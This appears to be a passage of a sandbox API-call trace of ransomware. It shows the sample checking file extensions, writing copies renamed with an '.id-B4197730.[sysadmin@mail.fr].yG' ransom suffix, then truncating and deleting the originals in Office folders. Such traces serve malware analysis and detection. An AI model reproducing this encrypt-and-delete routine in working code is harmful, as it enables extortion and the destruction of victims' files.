	[0157.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0157.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0157.324] lstrlenW (lpString=".doc") returned 4
	[0157.324] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.324] lstrlenW (lpString=".docx") returned 5
	[0157.325] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0157.325] lstrlenW (lpString=".pdf") returned 4
	[0157.325] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.325] lstrlenW (lpString=".xls") returned 4
	[0157.325] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.325] lstrlenW (lpString=".xlsx") returned 5
	[0157.325] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0157.325] lstrlenW (lpString=".ppt") returned 4
	[0157.325] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0157.325] lstrlenW (lpString=".zip") returned 4
	[0157.325] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.325] lstrlenW (lpString=".rar") returned 4
	[0157.325] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.325] lstrlenW (lpString=".bz2") returned 4
	[0157.325] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.325] lstrlenW (lpString=".7z") returned 3
	[0157.325] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0157.325] lstrlenW (lpString=".dbf") returned 4
	[0157.325] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0157.325] lstrlenW (lpString=".1cd") returned 4
	[0157.325] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0157.326] lstrlenW (lpString=".jpg") returned 4
	[0157.326] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0157.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0157.326] lstrlenW (lpString=".doc") returned 4
	[0157.326] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.326] lstrlenW (lpString=".docx") returned 5
	[0157.326] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0157.326] lstrlenW (lpString=".pdf") returned 4
	[0157.326] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.326] lstrlenW (lpString=".xls") returned 4
	[0157.326] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.326] lstrlenW (lpString=".xlsx") returned 5
	[0157.326] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0157.326] lstrlenW (lpString=".ppt") returned 4
	[0157.326] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0157.326] lstrlenW (lpString=".zip") returned 4
	[0157.327] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.327] lstrlenW (lpString=".rar") returned 4
	[0157.327] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.327] lstrlenW (lpString=".bz2") returned 4
	[0157.327] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.327] lstrlenW (lpString=".7z") returned 3
	[0157.327] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0157.327] lstrlenW (lpString=".dbf") returned 4
	[0157.327] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0157.327] lstrlenW (lpString=".1cd") returned 4
	[0157.327] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\ucrtbase.dll") returned 61
	[0157.327] lstrlenW (lpString=".jpg") returned 4
	[0157.327] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.327] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.328] lstrlenW (lpString="vccorlib140.dll") returned 15
	[0157.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0157.328] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=266928) returned 1
	[0157.328] CloseHandle (hObject=0x540) returned 1
	[0157.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll")) returned 0x220
	[0157.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0157.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0157.329] lstrlenW (lpString=".doc") returned 4
	[0157.329] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.329] lstrlenW (lpString=".docx") returned 5
	[0157.329] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.329] lstrlenW (lpString=".pdf") returned 4
	[0157.329] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.329] lstrlenW (lpString=".xls") returned 4
	[0157.330] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.330] lstrlenW (lpString=".xlsx") returned 5
	[0157.330] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.330] lstrlenW (lpString=".ppt") returned 4
	[0157.330] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0157.330] lstrlenW (lpString=".zip") returned 4
	[0157.330] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.330] lstrlenW (lpString=".rar") returned 4
	[0157.330] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.330] lstrlenW (lpString=".bz2") returned 4
	[0157.330] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.330] lstrlenW (lpString=".7z") returned 3
	[0157.330] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0157.330] lstrlenW (lpString=".dbf") returned 4
	[0157.330] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0157.330] lstrlenW (lpString=".1cd") returned 4
	[0157.330] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0157.330] lstrlenW (lpString=".jpg") returned 4
	[0157.330] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0157.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0157.331] lstrlenW (lpString=".doc") returned 4
	[0157.331] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.331] lstrlenW (lpString=".docx") returned 5
	[0157.331] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.331] lstrlenW (lpString=".pdf") returned 4
	[0157.331] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.331] lstrlenW (lpString=".xls") returned 4
	[0157.331] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.331] lstrlenW (lpString=".xlsx") returned 5
	[0157.331] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.331] lstrlenW (lpString=".ppt") returned 4
	[0157.331] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0157.331] lstrlenW (lpString=".zip") returned 4
	[0157.331] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.331] lstrlenW (lpString=".rar") returned 4
	[0157.331] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.331] lstrlenW (lpString=".bz2") returned 4
	[0157.331] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.331] lstrlenW (lpString=".7z") returned 3
	[0157.331] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0157.331] lstrlenW (lpString=".dbf") returned 4
	[0157.332] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0157.332] lstrlenW (lpString=".1cd") returned 4
	[0157.332] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0157.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0157.332] lstrlenW (lpString=".jpg") returned 4
	[0157.332] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0157.332] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0157.332] lstrlenW (lpString="vcruntime140.dll") returned 16
	[0157.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0157.333] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=85328) returned 1
	[0157.334] CloseHandle (hObject=0x540) returned 1
	[0157.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll")) returned 0x220
	[0157.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0157.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0157.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0157.335] lstrlenW (lpString=".doc") returned 4
	[0157.335] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0157.335] lstrlenW (lpString=".docx") returned 5
	[0157.335] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0157.335] lstrlenW (lpString=".pdf") returned 4
	[0157.335] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0157.335] lstrlenW (lpString=".xls") returned 4
	[0157.335] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0157.335] lstrlenW (lpString=".xlsx") returned 5
	[0157.335] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0157.335] lstrlenW (lpString=".ppt") returned 4
	[0157.335] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0157.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0157.335] lstrlenW (lpString=".zip") returned 4
	[0157.335] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0157.335] lstrlenW (lpString=".rar") returned 4
	[0157.335] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0157.335] lstrlenW (lpString=".bz2") returned 4
	[0157.335] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0157.335] lstrlenW (lpString=".7z") returned 3
	[0157.335] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0157.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0157.335] lstrlenW (lpString=".dbf") returned 4
	[0157.335] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0157.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0157.823] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=621986) returned 1
	[0157.823] CloseHandle (hObject=0x4ac) returned 1
	[0157.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 0x220
	[0157.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0157.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0157.826] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.826] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0157.851] GetLastError () returned 0x0
	[0157.851] ReadFile (in: hFile=0x4ac, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x97da2, lpOverlapped=0x0) returned 1
	[0157.893] WriteFile (in: hFile=0x360, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x97db0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x97db0, lpOverlapped=0x0) returned 1
	[0157.972] ReadFile (in: hFile=0x4ac, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.972] WriteFile (in: hFile=0x360, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x10c, lpOverlapped=0x0) returned 1
	[0157.972] SetEndOfFile (hFile=0x360) returned 1
	[0157.972] CloseHandle (hObject=0x360) returned 1
	[0157.973] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.973] SetEndOfFile (hFile=0x4ac) returned 1
	[0158.073] CloseHandle (hObject=0x4ac) returned 1
	[0158.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0158.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows6.1-kb2999226-x86.msu")) returned 1
	[0158.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0158.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0158.075] lstrlenW (lpString=".doc") returned 4
	[0158.075] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0158.075] lstrlenW (lpString=".docx") returned 5
	[0158.075] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0158.076] lstrlenW (lpString=".pdf") returned 4
	[0158.076] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0158.076] lstrlenW (lpString=".xls") returned 4
	[0158.076] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0158.076] lstrlenW (lpString=".xlsx") returned 5
	[0158.076] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0158.076] lstrlenW (lpString=".ppt") returned 4
	[0158.076] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0158.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0158.076] lstrlenW (lpString=".zip") returned 4
	[0158.076] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0158.076] lstrlenW (lpString=".rar") returned 4
	[0158.076] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0158.076] lstrlenW (lpString=".bz2") returned 4
	[0158.076] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0158.076] lstrlenW (lpString=".7z") returned 3
	[0158.076] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0158.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0158.076] lstrlenW (lpString=".dbf") returned 4
	[0158.076] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0158.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0158.076] lstrlenW (lpString=".1cd") returned 4
	[0158.076] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0158.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0158.076] lstrlenW (lpString=".jpg") returned 4
	[0158.077] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0158.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0158.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0158.077] lstrlenW (lpString=".doc") returned 4
	[0158.077] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0158.077] lstrlenW (lpString=".docx") returned 5
	[0158.077] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0158.077] lstrlenW (lpString=".pdf") returned 4
	[0158.077] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0158.077] lstrlenW (lpString=".xls") returned 4
	[0158.077] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0158.077] lstrlenW (lpString=".xlsx") returned 5
	[0158.077] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0158.077] lstrlenW (lpString=".ppt") returned 4
	[0158.077] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0158.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0158.077] lstrlenW (lpString=".zip") returned 4
	[0158.077] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0158.077] lstrlenW (lpString=".rar") returned 4
	[0158.077] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0158.077] lstrlenW (lpString=".bz2") returned 4
	[0158.077] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0158.077] lstrlenW (lpString=".7z") returned 3
	[0158.077] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0158.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0158.078] lstrlenW (lpString=".dbf") returned 4
	[0158.078] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0158.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0158.078] lstrlenW (lpString=".1cd") returned 4
	[0158.078] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0158.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x86.msu") returned 79
	[0158.078] lstrlenW (lpString=".jpg") returned 4
	[0158.078] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0158.078] lstrcmpiW (lpString1=".msu", lpString2=".yG") returned -1
	[0158.078] lstrlenW (lpString="Windows8-RT-KB2999226-x86.msu") returned 29
	[0158.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0158.093] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=615304) returned 1
	[0158.093] CloseHandle (hObject=0x4ac) returned 1
	[0158.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 0x220
	[0158.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0158.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0158.094] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.095] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0158.096] GetLastError () returned 0x0
	[0158.096] ReadFile (in: hFile=0x4ac, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x96388, lpOverlapped=0x0) returned 1
	[0158.170] WriteFile (in: hFile=0x38c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x96390, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x96390, lpOverlapped=0x0) returned 1
	[0158.276] ReadFile (in: hFile=0x4ac, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.276] WriteFile (in: hFile=0x38c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x10e, lpOverlapped=0x0) returned 1
	[0158.276] SetEndOfFile (hFile=0x38c) returned 1
	[0158.277] CloseHandle (hObject=0x38c) returned 1
	[0158.277] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.277] SetEndOfFile (hFile=0x4ac) returned 1
	[0158.336] CloseHandle (hObject=0x4ac) returned 1
	[0158.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
